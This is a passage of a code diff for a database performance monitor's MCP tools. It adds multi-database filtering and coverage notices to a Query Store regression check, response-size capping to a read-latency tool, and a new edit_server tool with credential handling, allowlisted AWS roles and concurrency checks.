+            postgres, server_name, hours_back, DatabaseFilter.One(database_name), limit, full_text, as_of, logger, cancellationToken);
+
+    /// <summary>
+    /// #5245: the get_query_store_regressions read over a LIST of databases. The MCP tool passes
+    /// <see cref="DatabaseFilter.One"/> of its one <c>database_name</c>; a later lane wires the parameter to a list. Every
+    /// one-name consumer is list-aware: the echoed <c>database_name</c> field (<see cref="DatabaseFilter.Describe"/>: the
+    /// name for one database, "the chosen databases" for two or more, null for all) and the three filtered empty answers
+    /// (<c>EmptyAsync</c>). For one name all of them read exactly as they did.
+    /// </summary>
+    internal static async Task<string> GetQueryStoreRegressions(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        int hours_back,
+        DatabaseFilter databaseFilter,
+        int limit,
+        bool full_text,
+        string? as_of,
+        ILogger? logger,
+        CancellationToken cancellationToken)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -75,19 +98,36 @@ public static async Task<string> GetQueryStoreRegressions(
                 the one field whose whole reason for existing is that the cap should not have to be inferred.
             */
             var rows = await DarlingQueryStoreRegressionReader.GetQueryStoreRegressionsAsync(
-                postgres, resolved.ServerId, start, end, database_name, limit + 1, baselineStart, cancellationToken);
+                postgres, resolved.ServerId, start, end, databaseFilter, limit + 1, baselineStart, cancellationToken);
+
+            /* #4966: where this server's query_store_stats start, checked against the EARLIER of the two windows this tool
+               compares: the baseline's start, not the recent window's. A store that began inside the baseline compares
+               against a shorter baseline than baseline_start names, and nothing else on the payload says so. Read ahead of the
+               empty answers, which carry it too: "no query regressed" over a baseline the store only partly holds is not a true
+               negative. Unfiltered by database_name (the floor is a property of the table). */
+            var notice = await DarlingMcpWindowNotice.ReadAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "query_store_stats", resolved.ServerName, baselineStart, end, cancellationToken),
+                baselineStart, end, "query_store_stats",
+                "Here the window starts at baseline_start, so the baseline holds only the part from effective_start to baseline_end.",
+                emptyAnswer: rows.Count == 0, logger: logger, cancellationToken: cancellationToken);
 
             if (rows.Count == 0)
-                return await EmptyAsync(postgres, resolved.ServerName, resolved.ServerId, start, end, baselineStart, hours_back, cancellationToken);
+                return await EmptyAsync(postgres, resolved.ServerName, resolved.ServerId, start, end, baselineStart, hours_back, databaseFilter, notice, cancellationToken);
 
             var truncated = rows.Count > limit;
             var shown = rows.Take(limit);
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
-                database_name,
+                /* The window floor, always present (false and null when the store covered the baseline). No effective_hours_back:
+                   this payload carries a page `truncated`, and the census holds that key apart for the window floor, so the reach
+                   is the instant. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                database_name = databaseFilter.Describe(),
                 /*
                     Named so the caller cannot mistake which side is which. "baseline" is NOT a fixed
                     lookback: it is everything collected before the window, so a longer hours_back makes
@@ -134,10 +174,13 @@ 5 ms regression executed a million times outranks a 5-second one executed twice.
                     baseline_plan_count = r.BaselinePlanCount,
                     recent_plan_count = r.RecentPlanCount,
                     last_execution_time = r.LastExecutionTime?.ToString("o"),
-                    query_text = full_text ? r.QueryTextSample : McpHelpers.Truncate(r.QueryTextSample, QueryTextPreviewLength),
+                    query_text = full_text ? r.QueryTextSample : McpHelpers.TruncateStatement(r.QueryTextSample, QueryTextPreviewLength),
                     query_text_truncated = !full_text && r.QueryTextSample.Length > QueryTextPreviewLength,
                 }),
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the rows (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -184,13 +227,16 @@ void Note(string field, string baseline, string recent)
     /// window: it has no BEFORE, so it can never show a regression however badly it regressed, and
     /// answering "no regressions" there is a confident wrong answer rather than a missing one. One probe,
     /// two booleans, run only on this path.</para>
+    /// <para>#5015: with a <c>database_name</c> filter, the server passing those questions is not enough. The same two
+    /// questions are then asked of the filtered database alone, so a database with only one side collected gets the
+    /// matching no-baseline or missing-window answer, naming it, and only a database with both sides is the all-clear.</para>
     /// </summary>
     private static async Task<string> EmptyAsync(
         NpgsqlDataSource postgres, string serverName, int serverId, DateTime start, DateTime end, DateTime baselineStart, int hours_back,
-        CancellationToken cancellationToken)
+        DatabaseFilter databases, McpWindowNotice notice, CancellationToken cancellationToken)
     {
         var (hasBaseline, hasRecent) = await DarlingQueryStoreRegressionReader.GetCoverageAsync(
-            postgres, serverId, start, end, baselineStart, cancellationToken);
+            postgres, serverId, start, end, baselineStart, cancellationToken: cancellationToken);
 
         if (!hasBaseline && !hasRecent)
         {
@@ -211,11 +257,58 @@ private static async Task<string> EmptyAsync(
         {
             return McpHelpers.Status(
                 "empty",
-                $"{serverName} has Query Store history from before this window but nothing collected IN the last {hours_back} hour(s), so there is a recent side missing rather than nothing to report. Widen hours_back, or check get_collection_health — a collector that stopped looks exactly like this.");
+                $"{serverName} has Query Store history from before this window but nothing collected IN the last {hours_back} hour(s), so there is a recent side missing rather than nothing to report. Widen hours_back, or check get_collection_health — a collector that stopped looks exactly like this.",
+                notice.AsHints());
+        }
+
+        /* #5015: the probe above is the SERVER's, so it answers a database_name filter the same whether the database was
+           compared or not, and only a database with BOTH sides collected can be the all-clear. The filter reads the same
+           database the read was asked for, and the answer is decided from that pair with the server-wide answers' own
+           statuses: neither side means the filter matched nothing, no baseline is the server-wide no-baseline answer and
+           no capture in the window the server-wide missing-window answer, each naming the database. Lite's twin words
+           it the same. */
+        if (!databases.IsAll)
+        {
+            var (filteredBaseline, filteredRecent) = await DarlingQueryStoreRegressionReader.GetCoverageAsync(
+                postgres, serverId, start, end, baselineStart, databases, cancellationToken);
+
+            /* One name reads exactly as it always did. Two or more say "the chosen databases" where the one name stood
+               (DatabaseFilter.Describe), and the singular database/its/that words go plural. */
+            var one = databases.Names.Count == 1;
+            var scope = one ? $"database_name '{databases.Names[0]}'" : DatabaseFilter.ManyDatabasesDescription;
+            var that = one ? "that database" : "those databases";
+            var thatPossessive = one ? "that database's" : "those databases'";
+
+            if (!filteredBaseline && !filteredRecent)
+            {
+                return McpHelpers.Status(
+                    "empty",
+                    $"No Query Store capture on {serverName} in the last {hours_back} hour(s) or in the {DarlingQueryStoreRegressionReader.BaselineLookbackDays}-day baseline before it matched {scope}, so the filter matched nothing and this is NOT the all-clear: no query in {that} was compared. Check the database {(one ? "name" : "names")}, or drop the filter to read every database.",
+                    notice.AsHints());
+            }
+
+            if (!filteredBaseline)
+            {
+                return McpHelpers.Status(
+                    "unavailable",
+                    $"{serverName} has no Query Store capture of {scope} in the {DarlingQueryStoreRegressionReader.BaselineLookbackDays}-day baseline window before this window, so there is no baseline for {that} to compare against and no regression of {(one ? "its" : "their")} queries can be detected however badly one regressed. This is NOT a clean bill of health: no query in {that} was compared. Either {thatPossessive} whole collected history falls inside the last {hours_back} hour(s), or {(one ? "it has" : "they have")} none older than the baseline lookback yet.");
+            }
+
+            if (!filteredRecent)
+            {
+                return McpHelpers.Status(
+                    "empty",
+                    $"{serverName} has Query Store history of {scope} from before this window but nothing of {(one ? "it" : "them")} collected IN the last {hours_back} hour(s), so {thatPossessive} recent side is missing rather than nothing to report, and this is NOT the all-clear: no query in {that} was compared. Widen hours_back, or check get_collection_health — a collector that stopped looks exactly like this.",
+                    notice.AsHints());
+            }
         }
 
         return McpHelpers.Status(
             "empty",
-            $"No query on {serverName} regressed in the last {hours_back} hour(s). Both a baseline and this window were collected and no query's average CPU is more than 25% worse than its baseline — this IS the all-clear for this read.");
+            McpHelpers.QuietUnlessCut(
+                notice.WindowTruncated, notice.EffectiveStart,
+                factual: $"No query on {serverName} regressed in the last {hours_back} hour(s). Both a baseline and this window were collected and no query's average CPU is more than 25% worse than its baseline",
+                coveredClaim: " — this IS the all-clear for this read."),
+            notice.AsHints());
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpReadLatencyTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpReadLatencyTools.cs
index 7b30141a64..999caefc4d 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpReadLatencyTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpReadLatencyTools.cs
@@ -8,7 +8,9 @@
 
 using System;
 using System.ComponentModel;
+using System.Collections.Generic;
 using System.Linq;
+using System.Text;
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
@@ -51,8 +53,7 @@ public sealed class DarlingMcpReadLatencyTools
         + "(web/compose/mcp) and route filter. Empty means no read recorded in the window, not a failure. "
         + "<<GUIDE>> "
         + "Gets the monitoring tool's OWN read-latency history — how long the web dashboard's `/api/read/*` "
-        + "reads and the composed-panel runner take, and (once the MCP per-tool wrapper ships) the MCP surface "
-        + "too. This is the tool measuring itself, NOT a monitored SQL Server or PostgreSQL target. The service "
+        + "reads, the composed-panel runner and every MCP tool call take. This is the tool measuring itself, NOT a monitored SQL Server or PostgreSQL target. The service "
         + "records every finished read into an in-process histogram keyed by (surface, route, outcome) and "
         + "flushes an hourly aggregate: run count, total and max duration in ms, and a fixed log-scale bucket "
         + "histogram (about 24 bounds, 10 ms to 120 s, plus an overflow bucket for anything past 120 s). This "
@@ -64,11 +65,18 @@ public sealed class DarlingMcpReadLatencyTools
         + "this many ms\", flagged with \"≥ <bound>\" on the rare row whose true value only proven to exceed "
         + "the last finite bucket. timeouts is the run_count of samples whose outcome was a caught statement "
         + "timeout (57014) for that route — a route that answers fast most of the time but times out on a heavy "
-        + "case shows both figures side by side. Sorted by p95 descending, then by count, so the worst tail "
-        + "leads. Pass surface to scope to one of web/compose/mcp, or route to scope to one read/panel name; "
+        + "case shows both figures side by side. Sorted by p95 descending, then by count, then surface and route, so the worst tail "
+        + "leads. fallbacks is the run_count of reads whose interval-table path faulted, or whose hour ledger did not yet cover the window, "
+        + "and were answered from raw (outcome fallback_raw); gate_failures is the run_count of reads whose "
+        + "source decision itself faulted, so they read raw without one (outcome gate_failed). Both are counted "
+        + "inside count and the percentiles, and a fallback that then timed out counts as a timeout, not a "
+        + "fallback. Pass surface to scope to one of web/compose/mcp, or route to scope to one read/panel name; "
         + "both are optional and compose (AND) when both are given. Empty means no read was recorded for the "
         + "window/filter, which on a fresh store, or one below schema V148, is the expected answer — not a "
-        + "sign anything is broken.")]
+        + "sign anything is broken. The page is capped at limit rows or the shared ~32 KB response budget, whichever cuts first: "
+        + "truncated says either cut applied, reads_returned is the rows sent and reads_total the rows the window "
+        + "held, so reads_total minus reads_returned were left out, always from the end of the order above. Raise "
+        + "limit (up to the budget) or narrow with surface or route to see them.")]
     public static async Task<string> GetReadLatency(
         NpgsqlDataSource postgres,
         [Description("Hours of history to summarize. Default 24; max 168 (7 days).")] int hours = DefaultHours,
@@ -122,35 +130,77 @@ public static async Task<string> GetReadLatency(
                bucket always carries at least one count) sorts last. */
             .OrderByDescending(x => x.P95?.UpperBoundMs ?? -1)
             .ThenByDescending(x => x.Row.RunCount)
-            .Take(limit)
+            .ThenBy(x => x.Row.Surface, StringComparer.Ordinal)
+            .ThenBy(x => x.Row.Route, StringComparer.Ordinal)
             .ToArray();
 
-            return JsonSerializer.Serialize(new
+            var shaped = projected.Select(x => (object)new
             {
-                hours,
-                surface,
-                route,
-                note = BucketEstimateNote,
-                reads = projected.Select(x => new
-                {
-                    surface = x.Row.Surface,
-                    route = x.Row.Route,
-                    count = x.Row.RunCount,
-                    mean_ms = x.Row.MeanMs,
-                    max_ms = x.Row.MaxMs,
-                    p50_ms = x.P50?.UpperBoundMs,
-                    p50_is_at_least = x.P50?.IsAtLeast ?? false,
-                    p95_ms = x.P95?.UpperBoundMs,
-                    p95_is_at_least = x.P95?.IsAtLeast ?? false,
-                    p99_ms = x.P99?.UpperBoundMs,
-                    p99_is_at_least = x.P99?.IsAtLeast ?? false,
-                    timeouts = x.Row.Timeouts,
-                }),
-            });
+                surface = x.Row.Surface,
+                route = x.Row.Route,
+                count = x.Row.RunCount,
+                mean_ms = x.Row.MeanMs,
+                max_ms = x.Row.MaxMs,
+                p50_ms = x.P50?.UpperBoundMs,
+                p50_is_at_least = x.P50?.IsAtLeast ?? false,
+                p95_ms = x.P95?.UpperBoundMs,
+                p95_is_at_least = x.P95?.IsAtLeast ?? false,
+                p99_ms = x.P99?.UpperBoundMs,
+                p99_is_at_least = x.P99?.IsAtLeast ?? false,
+                timeouts = x.Row.Timeouts,
+                fallbacks = x.Row.Fallbacks,
+                gate_failures = x.Row.GateFailures,
+            }).ToArray();
+
+            return BuildResponse(hours, surface, route, shaped, limit, McpResponseBudget.DefaultBytes);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
             return McpHelpers.FormatError("get_read_latency", ex);
         }
     }
+
+    /// <summary>
+    /// Serializes the page: the first <paramref name="limit"/> rows, further cut to fit <paramref name="budgetBytes"/>.
+    /// Rows are taken greedily in order using each row's own bytes plus a comma, then the REAL final response is
+    /// serialized and, while it is over budget with more than one row, the last row is dropped and it is
+    /// serialized again — the envelope's own digits and the true/false spelling depend on the final page.
+    /// </summary>
+    internal static string BuildResponse(int hours, string? surface, string? route, IReadOnlyList<object> shaped, int limit, int budgetBytes)
+    {
+        string Envelope(IReadOnlyList<object> page, bool truncated) => JsonSerializer.Serialize(new
+        {
+            hours,
+            surface,
+            route,
+            note = BucketEstimateNote,
+            truncated,
+            reads_returned = page.Count,
+            reads_total = shaped.Count,
+            reads = page,
+        });
+
+        var page = new List<object>();
+        var running = Encoding.UTF8.GetByteCount(Envelope(Array.Empty<object>(), true));
+        foreach (var row in shaped.Take(limit))
+        {
+            var added = Encoding.UTF8.GetByteCount(JsonSerializer.Serialize(row)) + (page.Count == 0 ? 0 : 1);
+            if (page.Count > 0 && running + added > budgetBytes)
+            {
+                break;
+            }
+
+            running += added;
+            page.Add(row);
+        }
+
+        var result = Envelope(page, page.Count < shaped.Count);
+        while (Encoding.UTF8.GetByteCount(result) > budgetBytes && page.Count > 1)
+        {
+            page.RemoveAt(page.Count - 1);
+            result = Envelope(page, true);
+        }
+
+        return result;
+    }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.Edit.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.Edit.cs
new file mode 100644
index 0000000000..724134738a
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.Edit.cs
@@ -0,0 +1,1304 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using ModelContextProtocol.Server;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Targets;
+using PerformanceMonitor.Darling.Storage;
+
+#pragma warning disable CA1707 // MCP tools use snake_case naming convention
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// <c>edit_server</c> (#5240): changes one monitored server's settings IN PLACE. The row keeps its
+/// <c>server_id</c> (the #2158 rule the desktop Edit already follows), so tags, collected history and every
+/// per-id setting stay attached; only a fixed list of columns is ever written, and never <c>server_id</c>,
+/// <c>engine</c>, <c>is_enabled</c>, <c>excluded_databases</c>, <c>capture_plans</c>,
+/// <c>alert_delivery_mode_override</c>, <c>plan_force_bot_enabled</c> or the <c>remediation_*</c> columns.
+///
+/// <para><b>Credentials.</b> The stored secret cannot be read back (the <c>mcp</c> role has no SELECT on
+/// <c>encrypted_password</c>), so the edit cannot probe with "keep the stored password". A change to how a SQL or
+/// service-principal row is reached therefore has to carry the secret again and is probed before it is saved; a
+/// change that does not touch the connection (name, cost) and a row that stores no secret need none. A secret
+/// is checked by the same <see cref="ValidateSecret"/> add uses, and no secret value is put in an answer or a log
+/// line.</para>
+///
+/// <para><b>Concurrency.</b> The row is read without a lock, probed, then written inside one transaction by
+/// <c>config.edit_monitored_server</c>, which locks the row and compares <c>modified_at</c> to the token the edit read,
+/// so a write that landed in between is answered <c>conflict</c> and nothing is written. A caller may also send the <c>modified_at</c> it read as
+/// <c>expected_modified_at</c>. That transaction takes <see cref="IdentityLockSql"/> first, the lock the add's INSERT
+/// takes too, and checks that the new address is still free under it: the address check before the probe is only a
+/// fast refusal, and without the lock an add or another edit could claim the address during the probe (#5240).</para>
+/// </summary>
+public sealed partial class DarlingMcpServerAdminTools
+{
+    /// <summary>The <c>status</c> vocabulary of an edit answer.</summary>
+    internal static class EditStatus
+    {
+        public const string Updated = "updated";
+        public const string Unchanged = "unchanged";
+        public const string Invalid = "invalid";
+        public const string NotFound = "not_found";
+        public const string Conflict = "conflict";
+        public const string Collides = "collides";
+        public const string ConnectionFailed = "connection_failed";
+    }
+
+    /// <summary>The keys <c>changes_json</c> may carry, in the order the refusal names them.</summary>
+    internal static readonly string[] EditableKeys =
+    [
+        "display_name", "host", "port", "database", "read_only_intent", "auth", "username", "password",
+        "encrypt_mode", "trust_server_certificate", "multi_subnet_failover", "monthly_cost_usd", "aws_role_arn", "aws_external_id",
+        "expected_modified_at",
+    ];
+
+    /// <summary>Keys that name a column this surface never writes. Named in the refusal, so a caller learns that it
+    /// is a rule and not a typo.</summary>
+    private static readonly string[] EditRefusedKeys =
+    [
+        "server_id", "engine", "is_enabled", "excluded_databases", "capture_plans", "alert_delivery_mode_override",
+        "plan_force_bot_enabled",
+    ];
+
+    /// <summary>The columns an edit may write, by the field that names them. The SET list is built ONLY from this
+    /// table, never from a caller's key.</summary>
+    internal static readonly IReadOnlyDictionary<string, string> EditColumnOfField = new Dictionary<string, string>(StringComparer.Ordinal)
+    {
+        ["display_name"] = "name",
+        ["host"] = "host",
+        ["port"] = "port",
+        ["database"] = "database",
+        ["read_only_intent"] = "read_only_intent",
+        ["auth"] = "auth",
+        ["username"] = "username",
+        ["password"] = "encrypted_password",
+        ["encrypt_mode"] = "encrypt_mode",
+        ["trust_server_certificate"] = "trust_server_certificate",
+        ["multi_subnet_failover"] = "multi_subnet_failover",
+        ["monthly_cost_usd"] = "monthly_cost_usd",
+        ["aws_role_arn"] = "aws_role_arn",
+        ["aws_external_id"] = "aws_external_id",
+    };
+
+    private const string EditNoteSweep = "The service applies this within one sweep.";
+
+    private const string EditNoteAddress =
+        "This server keeps its id and history. The old address cannot be added as a new server under the same spelling.";
+
+    internal const string EditPasswordNeededText = ServerConnectionRule.PasswordNeededOnMoveText;
+
+    /// <summary>The answer when the store refuses a password that is a reference (env: or file:): the store takes the
+    /// password itself from the viewer, admin and MCP roles. The same words in the store's own trigger and edit function.</summary>
+    internal const string EditReferenceRefusedText = ServerConnectionRule.ReferenceRefusedText;
+
+    /// <summary>The store's own answer when an edit sends an empty value for a required field, or one the store's field rules do not accept: nothing is saved.</summary>
+    internal const string EditInvalidValueText = "One of the values in this edit is empty or is not accepted for its field, so nothing was saved. Check the fields you changed and try again.";
+
+    /// <summary>The answer when the store refuses a change to how a server is reached because the row holds a remediation
+    /// login: that secret is set and changed on the service host. The same words in the store's own trigger.</summary>
+    internal const string EditRemediationKeptText = ServerConnectionRule.RemediationKeptText;
+
+    /// <summary>The fixed answer when the store has no edit function the calling role may run (#5240): a self-managed store
+    /// whose roles were provisioned before the function existed. Never PostgreSQL's own text.</summary>
+    internal const string EditStoreNeedsRolesText =
+        "This store's roles predate server edits: re-run provision-roles.sql against the store, then try again.";
+
+    /// <summary>The refusal when a role is set or changed and darling.json lists no role the web and MCP may set (#5452).</summary>
+    internal const string EditAwsRoleNoListText =
+        "The web and MCP cannot set an AWS role until darling.json lists the roles they may use. Add allowedAwsRoles to darling.json, then restart the service.";
+
+    /// <summary>The refusal when a role is set or changed to one the list does not allow (#5452).</summary>
+    internal const string EditAwsRoleNotListedText =
+        "That AWS role is not on the list of roles the web and MCP may set. Add it to allowedAwsRoles in darling.json and restart the service.";
+
+    /// <summary>
+    /// The text that refuses a role this surface may not set, or null when it may: no list, or a role not on it. Only a
+    /// role being SET or CHANGED is checked; clearing and an unchanged role never are (#5452).
+    /// </summary>
+    internal static string? AwsRoleListRefusal(string? newRole, string? storedRole, AwsRoleAllowlist allowlist)
+    {
+        if (newRole is null || string.Equals(newRole, storedRole, StringComparison.Ordinal))
+        {
+            return null;
+        }
+
+        if (allowlist.Count == 0)
+        {
+            return EditAwsRoleNoListText;
+        }
+
+        return allowlist.IsAllowed(newRole) ? null : EditAwsRoleNotListedText;
+    }
+
+    /* ─────────────────────────────── the tool ─────────────────────────────── */
+
+    [McpServerTool(Name = "edit_server"), Description(
+        "Edits one monitored server's settings in place, no confirm step: name, address, database, authentication, " +
+        "TLS posture or monthly cost. The server keeps its id, tags and history. A change to how it is reached is " +
+        "probed first and saved only if the server answers; the service applies it within one sweep. Engine, " +
+        "enabled state and excluded databases cannot change. Returns updated, unchanged, or " +
+        "invalid/not_found/ambiguous/conflict/collides/connection_failed with nothing written." +
+        "<<GUIDE>>" +
+        "Changes ONLY the fields named in changes_json, a JSON object. Keys: display_name, host, port (PostgreSQL), " +
+        "database, read_only_intent, auth (\"Windows\", \"SQL\", \"ServicePrincipal\", \"ManagedIdentity\"), username, " +
+        "password, encrypt_mode, trust_server_certificate, multi_subnet_failover, monthly_cost_usd, " +
+        "aws_role_arn, aws_external_id, expected_modified_at. The values mean what they mean in add_servers. Naming engine, is_enabled, " +
+        "excluded_databases or any other key is status \"invalid\". The server keeps its id: tags, history and " +
+        "settings stay attached, even when the address changes; the old address then cannot be added as a new " +
+        "server under the same spelling. PASSWORD: omit it, or leave it blank, to keep the stored one; a typed one replaces it and is the password itself (a value starting with env: or file: is refused, references are set in the configuration file). The stored secret cannot be " +
+        "read back, so changing the host, port, database, read_only_intent, auth, username, encrypt_mode, " +
+        "trust_server_certificate or multi_subnet_failover of a SQL or ServicePrincipal server REQUIRES password " +
+        "again, and so does switching into either mode; a name or cost change, and a Windows or ManagedIdentity " +
+        "server, need none. AWS ROLE: aws_role_arn (an IAM role ARN such as arn:aws:iam::123456789012:role/darling-monitor) " +
+        "applies to a PostgreSQL target only and can be set or changed only to a role darling.json's allowedAwsRoles lists; " +
+        "omit it, or leave it blank, to keep the stored role, and send null to remove it (always allowed, and the " +
+        "external ID goes with it). aws_external_id is write-only and never returned (current shows aws_external_id_set): " +
+        "omit it to keep the stored one, send text to replace it, send null to clear it. Changing the role on a target " +
+        "that has an external ID stored needs aws_external_id in the same request. The secret is checked as add_servers checks it and is never returned or logged. " +
+        "expected_modified_at is the modified_at an earlier answer returned; if the row changed since, the answer " +
+        "is \"conflict\" with the current non-secret values and nothing is written. Omit it for last write wins. " +
+        "\"collides\": the new address belongs to another monitored server, or the connection lands in a database " +
+        "another one covers. \"connection_failed\": the probe could not connect, nothing was saved. \"unchanged\": " +
+        "the request equals the stored values, nothing was written. updated returns {status, server, display_name, " +
+        "server_id, changed:[field names], reconnects, tested, modified_at, note}; reconnects says whether the " +
+        "service drops and re-opens its connection to the server. server_name is resolved as remove_server resolves it.")]
+    public static Task<string> EditServer(
+        NpgsqlDataSource postgres,
+        [Description("The monitored server to edit: its display name or storage name / address. A partial name is accepted only when it matches exactly one definition.")] string server_name,
+        [Description("A JSON object with ONLY the fields to change (e.g. {\"display_name\":\"Orders\",\"monthly_cost_usd\":120}). See the tool guide for the keys.")] string changes_json,
+        ILogger? logger = null,
+        CancellationToken cancellationToken = default) =>
+        EditServerByNameAsync(postgres, server_name, changes_json, DefaultProbeAsync, DarlingPasswordKey.Current, logger, cancellationToken);
+
+    /// <summary>The tool's body with the probe and the platform injected, so a test drives the product's own path
+    /// (parse, resolve, core, store) without a reachable server.</summary>
+    internal static async Task<string> EditServerByNameAsync(
+        NpgsqlDataSource postgres, string server_name, string changes_json, ServerProbe probe, IPasswordKeyRing ring, ILogger? logger, CancellationToken cancellationToken)
+    {
+        string?[] submittedSecrets = [];
+        try
+        {
+            if (string.IsNullOrWhiteSpace(server_name))
+            {
+                return Outcome(EditStatus.Invalid, "server_name is required.");
+            }
+
+            /* Validate the body BEFORE any store access: a malformed request never reads the table. */
+            var (changes, parseError) = ParseEditChanges(changes_json);
+            if (parseError != null)
+            {
+                return Outcome(EditStatus.Invalid, parseError);
+            }
+
+            submittedSecrets = [changes!.Password, changes.AwsExternalId];
+            var definitions = await LoadDefinitionsForRemovalAsync(postgres);
+            var target = ResolveForRemoval(definitions.Select(d => d.Server).ToList(), server_name);
+            if (target.Candidates.Count == 0)
+            {
+                if (definitions.Count == 0)
+                {
+                    return Outcome(EditStatus.NotFound, $"Could not resolve server '{server_name}': no monitored-server definitions exist in the central store (servers defined in darling.json are not editable through this tool).");
+                }
+
+                var (_, missMessage) = DarlingServerResolver.ResolveOrError(definitions.Select(d => d.Server).ToList(), server_name);
+                return Outcome(EditStatus.NotFound, missMessage is null ? $"Could not resolve server '{server_name}'." : McpHelpers.ErrorMessageOf(missMessage));
+            }
+
+            if (target.Candidates.Count > 1)
+            {
+                return JsonSerializer.Serialize(new
+                {
+                    status = "ambiguous",
+                    message = $"'{server_name}' matches {target.Candidates.Count} defined servers " +
+                              $"({(target.MatchedBy == "exact" ? "the same name on more than one definition" : "as a partial name")}); " +
+                              "nothing was changed. Re-issue edit_server with ONE candidate's full name.",
+                    matched_by = target.MatchedBy,
+                    matched_in = "config_monitored_servers",
+                    candidates = target.Candidates.Select(c => new { server = c.ServerName, display_name = c.DisplayName }),
+                }, McpHelpers.JsonOptions);
+            }
+
+            return await EditServerCoreAsync(
+                new PostgresServerEditStore(postgres), target.Candidates[0].ServerId, changes!, probe,
+                ring, logger, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* A probe or driver that throws can carry the submitted secret in its message: redact the whole envelope. */
+            ex = new InvalidOperationException(RedactEditSecret(ex.Message, submittedSecrets));
+            return McpHelpers.FormatError("edit_server", ex);
+        }
+    }
+
+    /* ─────────────────────────────── the core ─────────────────────────────── */
+
+    /// <summary>
+    /// The web edit route's entry (#5240): the core over a store and the real probe, for a row already resolved to
+    /// <paramref name="serverId"/>. Pass <c>null</c> for <paramref name="logger"/> when the caller writes its own audit
+    /// line (the web route does, with the signed-in principal). A fault that escapes the core becomes the error
+    /// envelope with the submitted secret redacted, because a driver's message can quote it.
+    /// </summary>
+    internal static async Task<string> EditServerByIdAsync(
+        NpgsqlDataSource postgres, int serverId, string changesJson, ILogger? logger, CancellationToken cancellationToken,
+        ILogger? probeLogger = null)
+    {
+        string?[] submittedSecrets = [];
+        try
+        {
+            var (changes, parseError) = ParseEditChanges(changesJson);
+            if (parseError != null)
+            {
+                return Outcome(EditStatus.Invalid, parseError);
+            }
+
+            submittedSecrets = [changes!.Password, changes.AwsExternalId];
+            return await EditServerCoreAsync(
+                new PostgresServerEditStore(postgres), serverId, changes, DefaultProbeAsync, DarlingPasswordKey.Current, logger, cancellationToken, probeLogger);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            ex = new InvalidOperationException(RedactEditSecret(ex.Message, submittedSecrets));
+            return McpHelpers.FormatError("edit_server", ex);
+        }
+    }
+
+    /// <summary>The core over a changes string: parses it, then runs <see cref="EditServerCoreAsync(IServerEditStore, int, ServerEditChanges, ServerProbe, IPasswordKeyRing, ILogger?, CancellationToken)"/>.
+    /// An unparseable body is <c>invalid</c> without a store read.</summary>
+    internal static async Task<string> EditServerCoreAsync(
+        IServerEditStore store, int serverId, string changesJson, ServerProbe probe, IPasswordKeyRing ring, ILogger? logger, CancellationToken cancellationToken,
+        ILogger? probeLogger = null)
+    {
+        var (changes, error) = ParseEditChanges(changesJson);
+        return error != null
+            ? Outcome(EditStatus.Invalid, error)
+            : await EditServerCoreAsync(store, serverId, changes!, probe, ring, logger, cancellationToken, probeLogger);
+    }
+
+    /// <summary>
+    /// The edit: read, check the token, plan, occupancy, probe, then ONE transaction that re-checks and writes. Every
+    /// outcome is an answer; only an unexpected store fault throws (the caller turns it into the error envelope).
+    /// </summary>
+    internal static async Task<string> EditServerCoreAsync(
+        IServerEditStore store, int serverId, ServerEditChanges changes, ServerProbe probe, IPasswordKeyRing ring, ILogger? logger, CancellationToken cancellationToken,
+        ILogger? probeLogger = null)
+    {
+        var row = await store.ReadRowAsync(serverId, cancellationToken);
+        if (row is null)
+        {
+            return Outcome(EditStatus.NotFound, "This server's definition no longer exists (removed since it was looked up); nothing was changed.");
+        }
+
+        if (changes.ExpectedModifiedAt is not null
+            && !string.Equals(changes.ExpectedModifiedAt, ModifiedAtToken(row.ModifiedAt), StringComparison.Ordinal))
+        {
+            return ConflictAnswer(row);
+        }
+
+        var (plan, planError) = PlanEdit(row, changes, ring.Status);
+        if (planError != null)
+        {
+            return Outcome(EditStatus.Invalid, planError);
+        }
+
+        if (plan!.Sets.Count == 0)
+        {
+            return JsonSerializer.Serialize(new
+            {
+                status = EditStatus.Unchanged,
+                server = plan.NewStorageKey,
+                display_name = row.Name,
+                server_id = row.ServerId,
+                modified_at = ModifiedAtToken(row.ModifiedAt),
+                message = "The request equals the stored values; nothing was written.",
+            }, McpHelpers.JsonOptions);
+        }
+
